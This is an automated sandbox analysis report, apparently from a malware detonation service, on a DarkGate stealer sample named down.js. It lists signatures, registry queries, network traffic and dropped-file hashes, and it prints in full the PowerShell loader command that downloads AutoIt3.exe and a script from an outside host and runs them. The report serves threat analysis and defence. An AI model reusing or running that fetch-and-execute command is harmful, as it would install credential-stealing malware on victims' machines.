Malware Analysis Report

2024-11-30 11:15

Sample ID 231102-zyfveahf27
Target down.js
SHA256 bac9fd3ebd3834621e46688476885dca7005e78eda48bc9c1271bf9e203afc6a
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

bac9fd3ebd3834621e46688476885dca7005e78eda48bc9c1271bf9e203afc6a

Threat Level: Known bad

The file down.js was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-02 21:07

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-02 21:07

Reported

2023-11-02 21:10

Platform

win7-20231025-en

Max time kernel

121s

Max time network

139s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\down.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\down.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351/msibbdthtgy' -OutFile 'bbdthtgy.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'bbdthtgy.au3'"

Network

N/A

Files

memory/2600-4-0x000000001B2B0000-0x000000001B592000-memory.dmp

memory/2600-6-0x0000000002370000-0x0000000002378000-memory.dmp

memory/2600-5-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

memory/2600-7-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

memory/2600-8-0x0000000002710000-0x0000000002790000-memory.dmp

memory/2600-9-0x0000000002710000-0x0000000002790000-memory.dmp

memory/2600-10-0x0000000002710000-0x0000000002790000-memory.dmp

memory/2600-11-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-02 21:07

Reported

2023-11-02 21:10

Platform

win10v2004-20231020-en

Max time kernel

141s

Max time network

149s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\down.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\down.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351/msibbdthtgy' -OutFile 'bbdthtgy.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'bbdthtgy.au3'"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" bbdthtgy.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 jeraldsin3dsajdklafdmonk.com udp
US 195.123.241.144:2351 jeraldsin3dsajdklafdmonk.com tcp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 144.241.123.195.in-addr.arpa udp
US 195.123.241.144:2351 jeraldsin3dsajdklafdmonk.com tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 164.113.222.173.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 71.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 1.208.79.178.in-addr.arpa udp
US 8.8.8.8:53 88.16.208.104.in-addr.arpa udp

Files

memory/4488-0-0x00000226D6D90000-0x00000226D6DB2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nhdyekrb.as5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4488-10-0x00007FFA3FE80000-0x00007FFA40941000-memory.dmp

memory/4488-11-0x00000226D6DC0000-0x00000226D6DD0000-memory.dmp

memory/4488-13-0x00000226D6DC0000-0x00000226D6DD0000-memory.dmp

memory/4488-12-0x00000226D6DC0000-0x00000226D6DD0000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/4488-27-0x00007FFA3FE80000-0x00007FFA40941000-memory.dmp

C:\tepp\bbdthtgy.au3

MD5 bbb0f7cd40ed7c626e70c58ee40d6dd5
SHA1 5f6c932f058693f4cdcd70540981064b683c4d7a
SHA256 04b46fa60521d98a81f9f0aca164f9a0cc36a6c2d30f326836e188ea2325849e
SHA512 c78a9de93da19287ccb5fc346084c3eb1bff883cd161b7dc7489f6472fc4355080f358fec3f0d2b92d276e449c58d3ab943164f0d5a7f6d5a00cdc784ab11b1b

memory/3432-30-0x00000000043B0000-0x00000000044B0000-memory.dmp

memory/3432-31-0x0000000004A80000-0x0000000004C15000-memory.dmp

memory/3432-32-0x0000000004A80000-0x0000000004C15000-memory.dmp